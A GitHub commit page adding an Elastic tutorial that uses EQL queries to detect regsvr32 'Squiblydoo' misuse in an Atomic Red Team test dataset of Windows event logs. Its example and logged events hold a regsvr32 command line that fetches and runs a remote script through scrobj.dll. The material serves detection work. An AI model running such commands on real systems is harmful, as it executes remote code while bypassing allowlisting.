Skip to content

Commit a91035e

Browse files
georgewallacegeorgewallace
committed
testing
1 parent 831dee1 commit a91035e

File tree

1,466 files changed

+45211
-53
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

1,466 files changed

+45211
-53
lines changed

‎docs/reference/elasticsearch/eql/eql-ex-threat-detection.md‎

Lines changed: 332 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,332 @@
1+
---
2+
mapped_pages:
3+
- https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-ex-threat-detection.html
4+
---
5+
6+
# Example: Detect threats with EQL [eql-ex-threat-detection]
7+
8+
This example tutorial shows how you can use EQL to detect security threats and other suspicious behavior. In the scenario, you’re tasked with detecting [regsvr32 misuse](https://attack.mitre.org/techniques/T1218/010/) in Windows event logs.
9+
10+
`regsvr32.exe` is a built-in command-line utility used to register `.dll` libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status, letting it bypass most allowlist software and script blockers. Attackers with access to a user’s command line can use `regsvr32.exe` to run malicious scripts via `.dll` libraries, even on machines that otherwise disallow such scripts.
11+
12+
One common variant of regsvr32 misuse is a [Squiblydoo attack](https://attack.mitre.org/techniques/T1218/010/). In a Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to register and run a remote script. These commands often look like this:
13+
14+
```sh
15+
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
16+
```
17+
18+
19+
## Setup [eql-ex-threat-detection-setup]
20+
21+
This tutorial uses a test dataset from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) that includes events imitating a Squiblydoo attack. The data has been mapped to [Elastic Common Schema (ECS)][Elastic Common Schema (ECS)](ecs://reference/index.md)) fields.
22+
23+
To get started:
24+
25+
1. Create an [index template](docs-content://manage-data/data-store/templates.md) with [data stream enabled](docs-content://manage-data/data-store/data-streams/set-up-data-stream.md#create-index-template):
26+
27+
```console
28+
PUT /_index_template/my-data-stream-template
29+
{
30+
"index_patterns": [ "my-data-stream*" ],
31+
"data_stream": { },
32+
"priority": 500
33+
}
34+
```
35+
36+
2. Download [`normalized-T1117-AtomicRed-regsvr32.json`](https://raw.githubusercontent.com/elastic/elasticsearch/master/docs/src/yamlRestTest/resources/normalized-T1117-AtomicRed-regsvr32.json).
37+
3. Use the [bulk API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-bulk) to index the data to a matching stream:
38+
39+
```sh
40+
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
41+
```
42+
43+
4. Use the [cat indices API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-indices) to verify the data was indexed:
44+
45+
```console
46+
GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
47+
```
48+
49+
The response should show a `docs.count` of `150`.
50+
51+
```txt
52+
health status index docs.count
53+
yellow open .ds-my-data-stream-2099.12.07-000001 150
54+
```
55+
56+
57+
58+
## Get a count of regsvr32 events [eql-ex-get-a-count-of-regsvr32-events]
59+
60+
First, get a count of events associated with a `regsvr32.exe` process:
61+
62+
```console
63+
GET /my-data-stream/_eql/search?filter_path=-hits.events <1>
64+
{
65+
"query": """
66+
any where process.name == "regsvr32.exe" <2>
67+
""",
68+
"size": 200 <3>
69+
}
70+
```
71+
72+
1. `?filter_path=-hits.events` excludes the `hits.events` property from the response. This search is only intended to get an event count, not a list of matching events.
73+
2. Matches any event with a `process.name` of `regsvr32.exe`.
74+
3. Returns up to 200 hits for matching events.
75+
76+
77+
The response returns 143 related events.
78+
79+
```console-result
80+
{
81+
"is_partial": false,
82+
"is_running": false,
83+
"took": 60,
84+
"timed_out": false,
85+
"hits": {
86+
"total": {
87+
"value": 143,
88+
"relation": "eq"
89+
}
90+
}
91+
}
92+
```
93+
94+
95+
## Check for command line artifacts [eql-ex-check-for-command-line-artifacts]
96+
97+
`regsvr32.exe` processes were associated with 143 events. But how was `regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line utility. Narrow your results to processes where the command line was used:
98+
99+
```console
100+
GET /my-data-stream/_eql/search
101+
{
102+
"query": """
103+
process where process.name == "regsvr32.exe" and process.command_line.keyword != null
104+
"""
105+
}
106+
```
107+
108+
The query matches one event with an `event.type` of `creation`, indicating the start of a `regsvr32.exe` process. Based on the event’s `process.command_line` value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a Squiblydoo attack.
109+
110+
```console-result
111+
{
112+
...
113+
"hits": {
114+
"total": {
115+
"value": 1,
116+
"relation": "eq"
117+
},
118+
"events": [
119+
{
120+
"_index": ".ds-my-data-stream-2099.12.07-000001",
121+
"_id": "gl5MJXMBMk1dGnErnBW8",
122+
"_source": {
123+
"process": {
124+
"parent": {
125+
"name": "cmd.exe",
126+
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
127+
"executable": "C:\\Windows\\System32\\cmd.exe"
128+
},
129+
"name": "regsvr32.exe",
130+
"pid": 2012,
131+
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
132+
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
133+
"executable": "C:\\Windows\\System32\\regsvr32.exe",
134+
"ppid": 2652
135+
},
136+
"logon_id": 217055,
137+
"@timestamp": 131883573237130000,
138+
"event": {
139+
"category": "process",
140+
"type": "creation"
141+
},
142+
"user": {
143+
"full_name": "bob",
144+
"domain": "ART-DESKTOP",
145+
"id": "ART-DESKTOP\\bob"
146+
}
147+
}
148+
}
149+
]
150+
}
151+
}
152+
```
153+
154+
155+
## Check for malicious script loads [eql-ex-check-for-malicious-script-loads]
156+
157+
Check if `regsvr32.exe` later loads the `scrobj.dll` library:
158+
159+
```console
160+
GET /my-data-stream/_eql/search
161+
{
162+
"query": """
163+
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
164+
"""
165+
}
166+
```
167+
168+
The query matches an event, confirming `scrobj.dll` was loaded.
169+
170+
```console-result
171+
{
172+
...
173+
"hits": {
174+
"total": {
175+
"value": 1,
176+
"relation": "eq"
177+
},
178+
"events": [
179+
{
180+
"_index": ".ds-my-data-stream-2099.12.07-000001",
181+
"_id": "ol5MJXMBMk1dGnErnBW8",
182+
"_source": {
183+
"process": {
184+
"name": "regsvr32.exe",
185+
"pid": 2012,
186+
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
187+
"executable": "C:\\Windows\\System32\\regsvr32.exe"
188+
},
189+
"@timestamp": 131883573237450016,
190+
"dll": {
191+
"path": "C:\\Windows\\System32\\scrobj.dll",
192+
"name": "scrobj.dll"
193+
},
194+
"event": {
195+
"category": "library"
196+
}
197+
}
198+
}
199+
]
200+
}
201+
}
202+
```
203+
204+
205+
## Determine the likelihood of success [eql-ex-detemine-likelihood-of-success]
206+
207+
In many cases, attackers use malicious scripts to connect to remote servers or download other files. Use an [EQL sequence query](/reference/query-languages/eql/eql-syntax.md#eql-sequences) to check for the following series of events:
208+
209+
1. A `regsvr32.exe` process
210+
2. A load of the `scrobj.dll` library by the same process
211+
3. Any network event by the same process
212+
213+
Based on the command line value seen in the previous response, you can expect to find a match. However, this query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior that’s generic enough to detect similar threats.
214+
215+
```console
216+
GET /my-data-stream/_eql/search
217+
{
218+
"query": """
219+
sequence by process.pid
220+
[process where process.name == "regsvr32.exe"]
221+
[library where dll.name == "scrobj.dll"]
222+
[network where true]
223+
"""
224+
}
225+
```
226+
227+
The query matches a sequence, indicating the attack likely succeeded.
228+
229+
```console-result
230+
{
231+
...
232+
"hits": {
233+
"total": {
234+
"value": 1,
235+
"relation": "eq"
236+
},
237+
"sequences": [
238+
{
239+
"join_keys": [
240+
2012
241+
],
242+
"events": [
243+
{
244+
"_index": ".ds-my-data-stream-2099.12.07-000001",
245+
"_id": "gl5MJXMBMk1dGnErnBW8",
246+
"_source": {
247+
"process": {
248+
"parent": {
249+
"name": "cmd.exe",
250+
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
251+
"executable": "C:\\Windows\\System32\\cmd.exe"
252+
},
253+
"name": "regsvr32.exe",
254+
"pid": 2012,
255+
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
256+
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
257+
"executable": "C:\\Windows\\System32\\regsvr32.exe",
258+
"ppid": 2652
259+
},
260+
"logon_id": 217055,
261+
"@timestamp": 131883573237130000,
262+
"event": {
263+
"category": "process",
264+
"type": "creation"
265+
},
266+
"user": {
267+
"full_name": "bob",
268+
"domain": "ART-DESKTOP",
269+
"id": "ART-DESKTOP\\bob"
270+
}
271+
}
272+
},
273+
{
274+
"_index": ".ds-my-data-stream-2099.12.07-000001",
275+
"_id": "ol5MJXMBMk1dGnErnBW8",
276+
"_source": {
277+
"process": {
278+
"name": "regsvr32.exe",
279+
"pid": 2012,
280+
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
281+
"executable": "C:\\Windows\\System32\\regsvr32.exe"
282+
},
283+
"@timestamp": 131883573237450016,
284+
"dll": {
285+
"path": "C:\\Windows\\System32\\scrobj.dll",
286+
"name": "scrobj.dll"
287+
},
288+
"event": {
289+
"category": "library"
290+
}
291+
}
292+
},
293+
{
294+
"_index": ".ds-my-data-stream-2099.12.07-000001",
295+
"_id": "EF5MJXMBMk1dGnErnBa9",
296+
"_source": {
297+
"process": {
298+
"name": "regsvr32.exe",
299+
"pid": 2012,
300+
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
301+
"executable": "C:\\Windows\\System32\\regsvr32.exe"
302+
},
303+
"@timestamp": 131883573238680000,
304+
"destination": {
305+
"address": "151.101.48.133",
306+
"port": "443"
307+
},
308+
"source": {
309+
"address": "192.168.162.134",
310+
"port": "50505"
311+
},
312+
"event": {
313+
"category": "network"
314+
},
315+
"user": {
316+
"full_name": "bob",
317+
"domain": "ART-DESKTOP",
318+
"id": "ART-DESKTOP\\bob"
319+
},
320+
"network": {
321+
"protocol": "tcp",
322+
"direction": "outbound"
323+
}
324+
}
325+
}
326+
]
327+
}
328+
]
329+
}
330+
}
331+
```
332+

0 commit comments

Comments
 (0)